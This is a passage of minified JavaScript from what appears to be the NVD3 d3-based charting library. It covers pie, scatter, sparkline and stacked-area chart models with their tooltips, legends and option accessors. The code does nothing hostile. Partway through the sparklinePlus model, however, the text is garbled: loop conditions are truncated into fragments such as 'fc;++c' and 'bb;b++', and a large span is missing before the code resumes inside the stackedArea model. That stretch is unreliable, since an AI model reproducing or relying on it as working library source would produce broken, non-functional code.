w=a.models.legend().width();w>n/2&&(w=n/2),d.height(o).key(c.x()),d.width(w),n-=d.width(),t.select(".nv-legendWrap").datum(e).call(d).attr("transform","translate("+n+",0)")}t.attr("transform","translate("+f.left+","+f.top+")"),c.width(n).height(o);var x=v.select(".nv-pieWrap").datum([e]);d3.transition(x).call(c),d.dispatch.on("stateChange",function(a){for(var c in a)l[c]=a[c];p.stateChange(l),b.update()}),p.on("changeState",function(a){"undefined"!=typeof a.disabled&&(e.forEach(function(b,c){b.disabled=a.disabled[c]}),l.disabled=a.disabled),b.update()})}),q.renderEnd("pieChart immediate"),b}var c=a.models.pie(),d=a.models.legend(),e=a.models.tooltip(),f={top:30,right:20,bottom:20,left:20},g=null,h=null,i=!0,j="top",k=a.utils.defaultColor(),l=a.utils.state(),m=null,n=null,o=250,p=d3.dispatch("tooltipShow","tooltipHide","stateChange","changeState","renderEnd");e.headerEnabled(!1).duration(0).valueFormatter(function(a,b){return c.valueFormat()(a,b)});var q=a.utils.renderWatch(p),r=function(a){return function(){return{active:a.map(function(a){return!a.disabled})}}},s=function(a){return function(b){void 0!==b.active&&a.forEach(function(a,c){a.disabled=!b.active[c]})}};return c.dispatch.on("elementMouseover.tooltip",function(a){a.series={key:b.x()(a.data),value:b.y()(a.data),color:a.color},e.data(a).hidden(!1)}),c.dispatch.on("elementMouseout.tooltip",function(){e.hidden(!0)}),c.dispatch.on("elementMousemove.tooltip",function(){e.position({top:d3.event.pageY,left:d3.event.pageX})()}),b.legend=d,b.dispatch=p,b.pie=c,b.tooltip=e,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{noData:{get:function(){return n},set:function(a){n=a}},showLegend:{get:function(){return i},set:function(a){i=a}},legendPosition:{get:function(){return j},set:function(a){j=a}},defaultState:{get:function(){return m},set:function(a){m=a}},tooltips:{get:function(){return e.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),e.enabled(!!b)}},tooltipContent:{get:function(){return e.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),e.contentGenerator(b)}},color:{get:function(){return k},set:function(a){k=a,d.color(k),c.color(k)}},duration:{get:function(){return o},set:function(a){o=a,q.reset(o)}},margin:{get:function(){return f},set:function(a){f.top=void 0!==a.top?a.top:f.top,f.right=void 0!==a.right?a.right:f.right,f.bottom=void 0!==a.bottom?a.bottom:f.bottom,f.left=void 0!==a.left?a.left:f.left}}}),a.utils.inheritOptions(b,c),a.utils.initOptions(b),b},a.models.scatter=function(){"use strict";function b(N){return P.reset(),N.each(function(b){function N(){if(O=!1,!w)return!1;if(M===!0){var a=d3.merge(b.map(function(a,b){return a.values.map(function(a,c){var d=p(a,c),e=q(a,c);return[m(d)+1e-4*Math.random(),n(e)+1e-4*Math.random(),b,c,a]}).filter(function(a,b){return x(a[4],b)})}));if(0==a.length)return!1;a.length<3&&(a.push([m.range()[0]-20,n.range()[0]-20,null,null]),a.push([m.range()[1]+20,n.range()[1]+20,null,null]),a.push([m.range()[0]-20,n.range()[0]+20,null,null]),a.push([m.range()[1]+20,n.range()[1]-20,null,null]));var c=d3.geom.polygon([[-10,-10],[-10,i+10],[h+10,i+10],[h+10,-10]]),d=d3.geom.voronoi(a).map(function(b,d){return{data:c.clip(b),series:a[d][2],point:a[d][3]}});U.select(".nv-point-paths").selectAll("path").remove();var e=U.select(".nv-point-paths").selectAll("path").data(d),f=e.enter().append("svg:path").attr("d",function(a){return a&&a.data&&0!==a.data.length?"M"+a.data.join(",")+"Z":"M 0 0"}).attr("id",function(a,b){return"nv-path-"+b}).attr("clip-path",function(a,b){return"url(#nv-clip-"+b+")"});C&&f.style("fill",d3.rgb(230,230,230)).style("fill-opacity",.4).style("stroke-opacity",1).style("stroke",d3.rgb(200,200,200)),B&&(U.select(".nv-point-clips").selectAll("clipPath").remove(),U.select(".nv-point-clips").selectAll("clipPath").data(a).enter().append("svg:clipPath").attr("id",function(a,b){return"nv-clip-"+b}).append("svg:circle").attr("cx",function(a){return a[0]}).attr("cy",function(a){return a[1]}).attr("r",D));var k=function(a,c){if(O)return 0;var d=b[a.series];if(void 0!==d){var e=d.values[a.point];e.color=j(d,a.series),e.x=p(e),e.y=q(e);var f=l.node().getBoundingClientRect(),h=window.pageYOffset||document.documentElement.scrollTop,i=window.pageXOffset||document.documentElement.scrollLeft,k={left:m(p(e,a.point))+f.left+i+g.left+10,top:n(q(e,a.point))+f.top+h+g.top+10};c({point:e,series:d,pos:k,seriesIndex:a.series,pointIndex:a.point})}};e.on("click",function(a){k(a,L.elementClick)}).on("dblclick",function(a){k(a,L.elementDblClick)}).on("mouseover",function(a){k(a,L.elementMouseover)}).on("mouseout",function(a){k(a,L.elementMouseout)})}else U.select(".nv-groups").selectAll(".nv-group").selectAll(".nv-point").on("click",function(a,c){if(O||!b[a.series])return 0;var d=b[a.series],e=d.values[c];L.elementClick({point:e,series:d,pos:[m(p(e,c))+g.left,n(q(e,c))+g.top],seriesIndex:a.series,pointIndex:c})}).on("dblclick",function(a,c){if(O||!b[a.series])return 0;var d=b[a.series],e=d.values[c];L.elementDblClick({point:e,series:d,pos:[m(p(e,c))+g.left,n(q(e,c))+g.top],seriesIndex:a.series,pointIndex:c})}).on("mouseover",function(a,c){if(O||!b[a.series])return 0;var d=b[a.series],e=d.values[c];L.elementMouseover({point:e,series:d,pos:[m(p(e,c))+g.left,n(q(e,c))+g.top],seriesIndex:a.series,pointIndex:c,color:j(a,c)})}).on("mouseout",function(a,c){if(O||!b[a.series])return 0;var d=b[a.series],e=d.values[c];L.elementMouseout({point:e,series:d,seriesIndex:a.series,pointIndex:c,color:j(a,c)})})}l=d3.select(this);var R=a.utils.availableWidth(h,l,g),S=a.utils.availableHeight(i,l,g);a.utils.initSVG(l),b.forEach(function(a,b){a.values.forEach(function(a){a.series=b})});var T=E&&F&&I?[]:d3.merge(b.map(function(a){return a.values.map(function(a,b){return{x:p(a,b),y:q(a,b),size:r(a,b)}})}));m.domain(E||d3.extent(T.map(function(a){return a.x}).concat(t))),m.range(y&&b[0]?G||[(R*z+R)/(2*b[0].values.length),R-R*(1+z)/(2*b[0].values.length)]:G||[0,R]),n.domain(F||d3.extent(T.map(function(a){return a.y}).concat(u))).range(H||[S,0]),o.domain(I||d3.extent(T.map(function(a){return a.size}).concat(v))).range(J||Q),K=m.domain()[0]===m.domain()[1]||n.domain()[0]===n.domain()[1],m.domain()[0]===m.domain()[1]&&m.domain(m.domain()[0]?[m.domain()[0]-.01*m.domain()[0],m.domain()[1]+.01*m.domain()[1]]:[-1,1]),n.domain()[0]===n.domain()[1]&&n.domain(n.domain()[0]?[n.domain()[0]-.01*n.domain()[0],n.domain()[1]+.01*n.domain()[1]]:[-1,1]),isNaN(m.domain()[0])&&m.domain([-1,1]),isNaN(n.domain()[0])&&n.domain([-1,1]),c=c||m,d=d||n,e=e||o;var U=l.selectAll("g.nv-wrap.nv-scatter").data([b]),V=U.enter().append("g").attr("class","nvd3 nv-wrap nv-scatter nv-chart-"+k),W=V.append("defs"),X=V.append("g"),Y=U.select("g");U.classed("nv-single-point",K),X.append("g").attr("class","nv-groups"),X.append("g").attr("class","nv-point-paths"),V.append("g").attr("class","nv-point-clips"),U.attr("transform","translate("+g.left+","+g.top+")"),W.append("clipPath").attr("id","nv-edge-clip-"+k).append("rect"),U.select("#nv-edge-clip-"+k+" rect").attr("width",R).attr("height",S>0?S:0),Y.attr("clip-path",A?"url(#nv-edge-clip-"+k+")":""),O=!0;var Z=U.select(".nv-groups").selectAll(".nv-group").data(function(a){return a},function(a){return a.key});Z.enter().append("g").style("stroke-opacity",1e-6).style("fill-opacity",1e-6),Z.exit().remove(),Z.attr("class",function(a,b){return"nv-group nv-series-"+b}).classed("hover",function(a){return a.hover}),Z.watchTransition(P,"scatter: groups").style("fill",function(a,b){return j(a,b)}).style("stroke",function(a,b){return j(a,b)}).style("stroke-opacity",1).style("fill-opacity",.5);var $=Z.selectAll("path.nv-point").data(function(a){return a.values.map(function(a,b){return[a,b]}).filter(function(a,b){return x(a[0],b)})});$.enter().append("path").style("fill",function(a){return a.color}).style("stroke",function(a){return a.color}).attr("transform",function(a){return"translate("+c(p(a[0],a[1]))+","+d(q(a[0],a[1]))+")"}).attr("d",a.utils.symbol().type(function(a){return s(a[0])}).size(function(a){return o(r(a[0],a[1]))})),$.exit().remove(),Z.exit().selectAll("path.nv-point").watchTransition(P,"scatter exit").attr("transform",function(a){return"translate("+m(p(a[0],a[1]))+","+n(q(a[0],a[1]))+")"}).remove(),$.each(function(a){d3.select(this).classed("nv-point",!0).classed("nv-point-"+a[1],!0).classed("nv-noninteractive",!w).classed("hover",!1)}),$.watchTransition(P,"scatter points").attr("transform",function(a){return"translate("+m(p(a[0],a[1]))+","+n(q(a[0],a[1]))+")"}).attr("d",a.utils.symbol().type(function(a){return s(a[0])}).size(function(a){return o(r(a[0],a[1]))})),clearTimeout(f),f=setTimeout(N,300),c=m.copy(),d=n.copy(),e=o.copy()}),P.renderEnd("scatter immediate"),b}var c,d,e,f,g={top:0,right:0,bottom:0,left:0},h=null,i=null,j=a.utils.defaultColor(),k=Math.floor(1e5*Math.random()),l=null,m=d3.scale.linear(),n=d3.scale.linear(),o=d3.scale.linear(),p=function(a){return a.x},q=function(a){return a.y},r=function(a){return a.size||1},s=function(a){return a.shape||"circle"},t=[],u=[],v=[],w=!0,x=function(a){return!a.notActive},y=!1,z=.1,A=!1,B=!0,C=!1,D=function(){return 25},E=null,F=null,G=null,H=null,I=null,J=null,K=!1,L=d3.dispatch("elementClick","elementDblClick","elementMouseover","elementMouseout","renderEnd"),M=!0,N=250,O=!1,P=a.utils.renderWatch(L,N),Q=[16,256];return b.dispatch=L,b.options=a.utils.optionsFunc.bind(b),b._calls=new function(){this.clearHighlights=function(){return a.dom.write(function(){l.selectAll(".nv-point.hover").classed("hover",!1)}),null},this.highlightPoint=function(b,c,d){a.dom.write(function(){l.select(" .nv-series-"+b+" .nv-point-"+c).classed("hover",d)})}},L.on("elementMouseover.point",function(a){w&&b._calls.highlightPoint(a.seriesIndex,a.pointIndex,!0)}),L.on("elementMouseout.point",function(a){w&&b._calls.highlightPoint(a.seriesIndex,a.pointIndex,!1)}),b._options=Object.create({},{width:{get:function(){return h},set:function(a){h=a}},height:{get:function(){return i},set:function(a){i=a}},xScale:{get:function(){return m},set:function(a){m=a}},yScale:{get:function(){return n},set:function(a){n=a}},pointScale:{get:function(){return o},set:function(a){o=a}},xDomain:{get:function(){return E},set:function(a){E=a}},yDomain:{get:function(){return F},set:function(a){F=a}},pointDomain:{get:function(){return I},set:function(a){I=a}},xRange:{get:function(){return G},set:function(a){G=a}},yRange:{get:function(){return H},set:function(a){H=a}},pointRange:{get:function(){return J},set:function(a){J=a}},forceX:{get:function(){return t},set:function(a){t=a}},forceY:{get:function(){return u},set:function(a){u=a}},forcePoint:{get:function(){return v},set:function(a){v=a}},interactive:{get:function(){return w},set:function(a){w=a}},pointActive:{get:function(){return x},set:function(a){x=a}},padDataOuter:{get:function(){return z},set:function(a){z=a}},padData:{get:function(){return y},set:function(a){y=a}},clipEdge:{get:function(){return A},set:function(a){A=a}},clipVoronoi:{get:function(){return B},set:function(a){B=a}},clipRadius:{get:function(){return D},set:function(a){D=a}},showVoronoi:{get:function(){return C},set:function(a){C=a}},id:{get:function(){return k},set:function(a){k=a}},x:{get:function(){return p},set:function(a){p=d3.functor(a)}},y:{get:function(){return q},set:function(a){q=d3.functor(a)}},pointSize:{get:function(){return r},set:function(a){r=d3.functor(a)}},pointShape:{get:function(){return s},set:function(a){s=d3.functor(a)}},margin:{get:function(){return g},set:function(a){g.top=void 0!==a.top?a.top:g.top,g.right=void 0!==a.right?a.right:g.right,g.bottom=void 0!==a.bottom?a.bottom:g.bottom,g.left=void 0!==a.left?a.left:g.left}},duration:{get:function(){return N},set:function(a){N=a,P.reset(N)}},color:{get:function(){return j},set:function(b){j=a.utils.getColor(b)}},useVoronoi:{get:function(){return M},set:function(a){M=a,M===!1&&(B=!1)}}}),a.utils.initOptions(b),b},a.models.scatterChart=function(){"use strict";function b(z){return D.reset(),D.models(c),t&&D.models(d),u&&D.models(e),q&&D.models(g),r&&D.models(h),z.each(function(z){m=d3.select(this),a.utils.initSVG(m);var G=a.utils.availableWidth(k,m,j),H=a.utils.availableHeight(l,m,j);if(b.update=function(){0===A?m.call(b):m.transition().duration(A).call(b)},b.container=this,w.setter(F(z),b.update).getter(E(z)).update(),w.disabled=z.map(function(a){return!!a.disabled}),!x){var I;x={};for(I in w)x[I]=w[I]instanceof Array?w[I].slice(0):w[I]}if(!(z&&z.length&&z.filter(function(a){return a.values.length}).length))return a.utils.noData(b,m),D.renderEnd("scatter immediate"),b;m.selectAll(".nv-noData").remove(),o=c.xScale(),p=c.yScale();var J=m.selectAll("g.nv-wrap.nv-scatterChart").data([z]),K=J.enter().append("g").attr("class","nvd3 nv-wrap nv-scatterChart nv-chart-"+c.id()),L=K.append("g"),M=J.select("g");if(L.append("rect").attr("class","nvd3 nv-background").style("pointer-events","none"),L.append("g").attr("class","nv-x nv-axis"),L.append("g").attr("class","nv-y nv-axis"),L.append("g").attr("class","nv-scatterWrap"),L.append("g").attr("class","nv-regressionLinesWrap"),L.append("g").attr("class","nv-distWrap"),L.append("g").attr("class","nv-legendWrap"),v&&M.select(".nv-y.nv-axis").attr("transform","translate("+G+",0)"),s){var N=G;f.width(N),J.select(".nv-legendWrap").datum(z).call(f),j.top!=f.height()&&(j.top=f.height(),H=a.utils.availableHeight(l,m,j)),J.select(".nv-legendWrap").attr("transform","translate(0,"+-j.top+")")}J.attr("transform","translate("+j.left+","+j.top+")"),c.width(G).height(H).color(z.map(function(a,b){return a.color=a.color||n(a,b),a.color}).filter(function(a,b){return!z[b].disabled})),J.select(".nv-scatterWrap").datum(z.filter(function(a){return!a.disabled})).call(c),J.select(".nv-regressionLinesWrap").attr("clip-path","url(#nv-edge-clip-"+c.id()+")");var O=J.select(".nv-regressionLinesWrap").selectAll(".nv-regLines").data(function(a){return a});O.enter().append("g").attr("class","nv-regLines");var P=O.selectAll(".nv-regLine").data(function(a){return[a]});P.enter().append("line").attr("class","nv-regLine").style("stroke-opacity",0),P.filter(function(a){return a.intercept&&a.slope}).watchTransition(D,"scatterPlusLineChart: regline").attr("x1",o.range()[0]).attr("x2",o.range()[1]).attr("y1",function(a){return p(o.domain()[0]*a.slope+a.intercept)}).attr("y2",function(a){return p(o.domain()[1]*a.slope+a.intercept)}).style("stroke",function(a,b,c){return n(a,c)}).style("stroke-opacity",function(a){return a.disabled||"undefined"==typeof a.slope||"undefined"==typeof a.intercept?0:1}),t&&(d.scale(o)._ticks(a.utils.calcTicksX(G/100,z)).tickSize(-H,0),M.select(".nv-x.nv-axis").attr("transform","translate(0,"+p.range()[0]+")").call(d)),u&&(e.scale(p)._ticks(a.utils.calcTicksY(H/36,z)).tickSize(-G,0),M.select(".nv-y.nv-axis").call(e)),q&&(g.getData(c.x()).scale(o).width(G).color(z.map(function(a,b){return a.color||n(a,b)}).filter(function(a,b){return!z[b].disabled})),L.select(".nv-distWrap").append("g").attr("class","nv-distributionX"),M.select(".nv-distributionX").attr("transform","translate(0,"+p.range()[0]+")").datum(z.filter(function(a){return!a.disabled})).call(g)),r&&(h.getData(c.y()).scale(p).width(H).color(z.map(function(a,b){return a.color||n(a,b)}).filter(function(a,b){return!z[b].disabled})),L.select(".nv-distWrap").append("g").attr("class","nv-distributionY"),M.select(".nv-distributionY").attr("transform","translate("+(v?G:-h.length)+",0)").datum(z.filter(function(a){return!a.disabled})).call(h)),f.dispatch.on("stateChange",function(a){for(var c in a)w[c]=a[c];y.stateChange(w),b.update()}),y.on("changeState",function(a){"undefined"!=typeof a.disabled&&(z.forEach(function(b,c){b.disabled=a.disabled[c]}),w.disabled=a.disabled),b.update()}),c.dispatch.on("elementMouseout.tooltip",function(a){i.hidden(!0),m.select(".nv-chart-"+c.id()+" .nv-series-"+a.seriesIndex+" .nv-distx-"+a.pointIndex).attr("y1",0),m.select(".nv-chart-"+c.id()+" .nv-series-"+a.seriesIndex+" .nv-disty-"+a.pointIndex).attr("x2",h.length)}),c.dispatch.on("elementMouseover.tooltip",function(a){m.select(".nv-series-"+a.seriesIndex+" .nv-distx-"+a.pointIndex).attr("y1",a.pos.top-H-j.top),m.select(".nv-series-"+a.seriesIndex+" .nv-disty-"+a.pointIndex).attr("x2",a.pos.left+g.length-j.left),i.position(a.pos).data(a).hidden(!1)}),B=o.copy(),C=p.copy()}),D.renderEnd("scatter with line immediate"),b}var c=a.models.scatter(),d=a.models.axis(),e=a.models.axis(),f=a.models.legend(),g=a.models.distribution(),h=a.models.distribution(),i=a.models.tooltip(),j={top:30,right:20,bottom:50,left:75},k=null,l=null,m=null,n=a.utils.defaultColor(),o=c.xScale(),p=c.yScale(),q=!1,r=!1,s=!0,t=!0,u=!0,v=!1,w=a.utils.state(),x=null,y=d3.dispatch("stateChange","changeState","renderEnd"),z=null,A=250;c.xScale(o).yScale(p),d.orient("bottom").tickPadding(10),e.orient(v?"right":"left").tickPadding(10),g.axis("x"),h.axis("y"),i.headerFormatter(function(a,b){return d.tickFormat()(a,b)}).valueFormatter(function(a,b){return e.tickFormat()(a,b)});var B,C,D=a.utils.renderWatch(y,A),E=function(a){return function(){return{active:a.map(function(a){return!a.disabled})}}},F=function(a){return function(b){void 0!==b.active&&a.forEach(function(a,c){a.disabled=!b.active[c]})}};return b.dispatch=y,b.scatter=c,b.legend=f,b.xAxis=d,b.yAxis=e,b.distX=g,b.distY=h,b.tooltip=i,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return k},set:function(a){k=a}},height:{get:function(){return l},set:function(a){l=a}},container:{get:function(){return m},set:function(a){m=a}},showDistX:{get:function(){return q},set:function(a){q=a}},showDistY:{get:function(){return r},set:function(a){r=a}},showLegend:{get:function(){return s},set:function(a){s=a}},showXAxis:{get:function(){return t},set:function(a){t=a}},showYAxis:{get:function(){return u},set:function(a){u=a}},defaultState:{get:function(){return x},set:function(a){x=a}},noData:{get:function(){return z},set:function(a){z=a}},duration:{get:function(){return A},set:function(a){A=a}},tooltips:{get:function(){return i.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),i.enabled(!!b) }},tooltipContent:{get:function(){return i.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),i.contentGenerator(b)}},tooltipXContent:{get:function(){return i.contentGenerator()},set:function(){a.deprecated("tooltipContent","This option is removed, put values into main tooltip.")}},tooltipYContent:{get:function(){return i.contentGenerator()},set:function(){a.deprecated("tooltipContent","This option is removed, put values into main tooltip.")}},margin:{get:function(){return j},set:function(a){j.top=void 0!==a.top?a.top:j.top,j.right=void 0!==a.right?a.right:j.right,j.bottom=void 0!==a.bottom?a.bottom:j.bottom,j.left=void 0!==a.left?a.left:j.left}},rightAlignYAxis:{get:function(){return v},set:function(a){v=a,e.orient(a?"right":"left")}},color:{get:function(){return n},set:function(b){n=a.utils.getColor(b),f.color(n),g.color(n),h.color(n)}}}),a.utils.inheritOptions(b,c),a.utils.initOptions(b),b},a.models.sparkline=function(){"use strict";function b(k){return k.each(function(b){var k=h-g.left-g.right,q=i-g.top-g.bottom;j=d3.select(this),a.utils.initSVG(j),l.domain(c||d3.extent(b,n)).range(e||[0,k]),m.domain(d||d3.extent(b,o)).range(f||[q,0]);{var r=j.selectAll("g.nv-wrap.nv-sparkline").data([b]),s=r.enter().append("g").attr("class","nvd3 nv-wrap nv-sparkline");s.append("g"),r.select("g")}r.attr("transform","translate("+g.left+","+g.top+")");var t=r.selectAll("path").data(function(a){return[a]});t.enter().append("path"),t.exit().remove(),t.style("stroke",function(a,b){return a.color||p(a,b)}).attr("d",d3.svg.line().x(function(a,b){return l(n(a,b))}).y(function(a,b){return m(o(a,b))}));var u=r.selectAll("circle.nv-point").data(function(a){function b(b){if(-1!=b){var c=a[b];return c.pointIndex=b,c}return null}var c=a.map(function(a,b){return o(a,b)}),d=b(c.lastIndexOf(m.domain()[1])),e=b(c.indexOf(m.domain()[0])),f=b(c.length-1);return[e,d,f].filter(function(a){return null!=a})});u.enter().append("circle"),u.exit().remove(),u.attr("cx",function(a){return l(n(a,a.pointIndex))}).attr("cy",function(a){return m(o(a,a.pointIndex))}).attr("r",2).attr("class",function(a){return n(a,a.pointIndex)==l.domain()[1]?"nv-point nv-currentValue":o(a,a.pointIndex)==m.domain()[0]?"nv-point nv-minValue":"nv-point nv-maxValue"})}),b}var c,d,e,f,g={top:2,right:0,bottom:2,left:0},h=400,i=32,j=null,k=!0,l=d3.scale.linear(),m=d3.scale.linear(),n=function(a){return a.x},o=function(a){return a.y},p=a.utils.getColor(["#000"]);return b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return h},set:function(a){h=a}},height:{get:function(){return i},set:function(a){i=a}},xDomain:{get:function(){return c},set:function(a){c=a}},yDomain:{get:function(){return d},set:function(a){d=a}},xRange:{get:function(){return e},set:function(a){e=a}},yRange:{get:function(){return f},set:function(a){f=a}},xScale:{get:function(){return l},set:function(a){l=a}},yScale:{get:function(){return m},set:function(a){m=a}},animate:{get:function(){return k},set:function(a){k=a}},x:{get:function(){return n},set:function(a){n=d3.functor(a)}},y:{get:function(){return o},set:function(a){o=d3.functor(a)}},margin:{get:function(){return g},set:function(a){g.top=void 0!==a.top?a.top:g.top,g.right=void 0!==a.right?a.right:g.right,g.bottom=void 0!==a.bottom?a.bottom:g.bottom,g.left=void 0!==a.left?a.left:g.left}},color:{get:function(){return p},set:function(b){p=a.utils.getColor(b)}}}),a.utils.initOptions(b),b},a.models.sparklinePlus=function(){"use strict";function b(p){return p.each(function(p){function q(){if(!j){var a=z.selectAll(".nv-hoverValue").data(i),b=a.enter().append("g").attr("class","nv-hoverValue").style("stroke-opacity",0).style("fill-opacity",0);a.exit().transition().duration(250).style("stroke-opacity",0).style("fill-opacity",0).remove(),a.attr("transform",function(a){return"translate("+c(e.x()(p[a],a))+",0)"}).transition().duration(250).style("stroke-opacity",1).style("fill-opacity",1),i.length&&(b.append("line").attr("x1",0).attr("y1",-f.top).attr("x2",0).attr("y2",u),b.append("text").attr("class","nv-xValue").attr("x",-6).attr("y",-f.top).attr("text-anchor","end").attr("dy",".9em"),z.select(".nv-hoverValue .nv-xValue").text(k(e.x()(p[i[0]],i[0]))),b.append("text").attr("class","nv-yValue").attr("x",6).attr("y",-f.top).attr("text-anchor","start").attr("dy",".9em"),z.select(".nv-hoverValue .nv-yValue").text(l(e.y()(p[i[0]],i[0]))))}}function r(){function a(a,b){for(var c=Math.abs(e.x()(a[0],0)-b),d=0,f=0;fc;++c){for(b=0,d=0;bb;b++)a[b][c][1]/=d;else for(b=0;e>b;b++)a[b][c][1]=0}for(c=0;f>c;++c)g[c]=0;return g}}),u.renderEnd("stackedArea immediate"),b}var c,d,e={top:0,right:0,bottom:0,left:0},f=960,g=500,h=a.utils.defaultColor(),i=Math.floor(1e5*Math.random()),j=null,k=function(a){return a.x},l=function(a){return a.y},m="stack",n="zero",o="default",p="linear",q=!1,r=a.models.scatter(),s=250,t=d3.dispatch("areaClick","areaMouseover","areaMouseout","renderEnd","elementClick","elementMouseover","elementMouseout");r.pointSize(2.2).pointDomain([2.2,2.2]);var u=a.utils.renderWatch(t,s);return b.dispatch=t,b.scatter=r,r.dispatch.on("elementClick",function(){t.elementClick.apply(this,arguments)}),r.dispatch.on("elementMouseover",function(){t.elementMouseover.apply(this,arguments)}),r.dispatch.on("elementMouseout",function(){t.elementMouseout.apply(this,arguments)}),b.interpolate=function(a){return arguments.length?(p=a,b):p},b.duration=function(a){return arguments.length?(s=a,u.reset(s),r.duration(s),b):s},b.dispatch=t,b.scatter=r,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return f},set:function(a){f=a}},height:{get:function(){return g},set:function(a){g=a}},clipEdge:{get:function(){return q},set:function(a){q=a}},offset:{get:function(){return n},set:function(a){n=a}},order:{get:function(){return o},set:function(a){o=a}},interpolate:{get:function(){return p},set:function(a){p=a}},x:{get:function(){return k},set:function(a){k=d3.functor(a)}},y:{get:function(){return l},set:function(a){l=d3.functor(a)}},margin:{get:function(){return e},set:function(a){e.top=void 0!==a.top?a.top:e.top,e.right=void 0!==a.right?a.right:e.right,e.bottom=void 0!==a.bottom?a.bottom:e.bottom,e.left=void 0!==a.left?a.left:e.left}},color:{get:function(){return h},set:function(b){h=a.utils.getColor(b)}},style:{get:function(){return m},set:function(a){switch(m=a){case"stack":b.offset("zero"),b.order("default");break;case"stream":b.offset("wiggle"),b.order("inside-out");break;case"stream-center":b.offset("silhouette"),b.order("inside-out");break;case"expand":b.offset("expand"),b.order("default");break;case"stack_percent":b.offset(b.d3_stackedOffset_stackPercent),b.order("default")}}},duration:{get:function(){return s},set:function(a){s=a,u.reset(s),r.duration(s)}}}),a.utils.inheritOptions(b,r),a.utils.initOptions(b),b},a.models.stackedAreaChart=function(){"use strict";function b(k){return F.reset(),F.models(e),r&&F.models(f),s&&F.models(g),k.each(function(k){var x=d3.select(this),F=this;a.utils.initSVG(x);var K=a.utils.availableWidth(m,x,l),L=a.utils.availableHeight(n,x,l);if(b.update=function(){x.transition().duration(C).call(b)},b.container=this,v.setter(I(k),b.update).getter(H(k)).update(),v.disabled=k.map(function(a){return!!a.disabled}),!w){var M;w={};for(M in v)w[M]=v[M]instanceof Array?v[M].slice(0):v[M]}if(!(k&&k.length&&k.filter(function(a){return a.values.length}).length))return a.utils.noData(b,x),b;x.selectAll(".nv-noData").remove(),c=e.xScale(),d=e.yScale();var N=x.selectAll("g.nv-wrap.nv-stackedAreaChart").data([k]),O=N.enter().append("g").attr("class","nvd3 nv-wrap nv-stackedAreaChart").append("g"),P=N.select("g");if(O.append("rect").style("opacity",0),O.append("g").attr("class","nv-x nv-axis"),O.append("g").attr("class","nv-y nv-axis"),O.append("g").attr("class","nv-stackedWrap"),O.append("g").attr("class","nv-legendWrap"),O.append("g").attr("class","nv-controlsWrap"),O.append("g").attr("class","nv-interactive"),P.select("rect").attr("width",K).attr("height",L),q){var Q=p?K-z:K;h.width(Q),P.select(".nv-legendWrap").datum(k).call(h),l.top!=h.height()&&(l.top=h.height(),L=a.utils.availableHeight(n,x,l)),P.select(".nv-legendWrap").attr("transform","translate("+(K-Q)+","+-l.top+")")}if(p){var R=[{key:B.stacked||"Stacked",metaKey:"Stacked",disabled:"stack"!=e.style(),style:"stack"},{key:B.stream||"Stream",metaKey:"Stream",disabled:"stream"!=e.style(),style:"stream"},{key:B.expanded||"Expanded",metaKey:"Expanded",disabled:"expand"!=e.style(),style:"expand"},{key:B.stack_percent||"Stack %",metaKey:"Stack_Percent",disabled:"stack_percent"!=e.style(),style:"stack_percent"}];z=A.length/3*260,R=R.filter(function(a){return-1!==A.indexOf(a.metaKey)}),i.width(z).color(["#444","#444","#444"]),P.select(".nv-controlsWrap").datum(R).call(i),l.top!=Math.max(i.height(),h.height())&&(l.top=Math.max(i.height(),h.height()),L=a.utils.availableHeight(n,x,l)),P.select(".nv-controlsWrap").attr("transform","translate(0,"+-l.top+")")}N.attr("transform","translate("+l.left+","+l.top+")"),t&&P.select(".nv-y.nv-axis").attr("transform","translate("+K+",0)"),u&&(j.width(K).height(L).margin({left:l.left,top:l.top}).svgContainer(x).xScale(c),N.select(".nv-interactive").call(j)),e.width(K).height(L);var S=P.select(".nv-stackedWrap").datum(k);if(S.transition().call(e),r&&(f.scale(c)._ticks(a.utils.calcTicksX(K/100,k)).tickSize(-L,0),P.select(".nv-x.nv-axis").attr("transform","translate(0,"+L+")"),P.select(".nv-x.nv-axis").transition().duration(0).call(f)),s){var T;if(T="wiggle"===e.offset()?0:a.utils.calcTicksY(L/36,k),g.scale(d)._ticks(T).tickSize(-K,0),"expand"===e.style()||"stack_percent"===e.style()){var U=g.tickFormat();D&&U===J||(D=U),g.tickFormat(J)}else D&&(g.tickFormat(D),D=null);P.select(".nv-y.nv-axis").transition().duration(0).call(g)}e.dispatch.on("areaClick.toggle",function(a){k.forEach(1===k.filter(function(a){return!a.disabled}).length?function(a){a.disabled=!1}:function(b,c){b.disabled=c!=a.seriesIndex}),v.disabled=k.map(function(a){return!!a.disabled}),y.stateChange(v),b.update()}),h.dispatch.on("stateChange",function(a){for(var c in a)v[c]=a[c];y.stateChange(v),b.update()}),i.dispatch.on("legendClick",function(a){a.disabled&&(R=R.map(function(a){return a.disabled=!0,a}),a.disabled=!1,e.style(a.style),v.style=e.style(),y.stateChange(v),b.update())}),j.dispatch.on("elementMousemove",function(c){e.clearHighlights();var d,g,h,i=[];if(k.filter(function(a,b){return a.seriesIndex=b,!a.disabled}).forEach(function(f,j){g=a.interactiveBisect(f.values,c.pointXValue,b.x());var k=f.values[g],l=b.y()(k,g);if(null!=l&&e.highlightPoint(j,g,!0),"undefined"!=typeof k){"undefined"==typeof d&&(d=k),"undefined"==typeof h&&(h=b.xScale()(b.x()(k,g)));var m="expand"==e.style()?k.display.y:b.y()(k,g);i.push({key:f.key,value:m,color:o(f,f.seriesIndex),stackedValue:k.display})}}),i.reverse(),i.length>2){var m=b.yScale().invert(c.mouseY),n=null;i.forEach(function(a,b){m=Math.abs(m);var c=Math.abs(a.stackedValue.y0),d=Math.abs(a.stackedValue.y);return m>=c&&d+c>=m?void(n=b):void 0}),null!=n&&(i[n].highlight=!0)}var 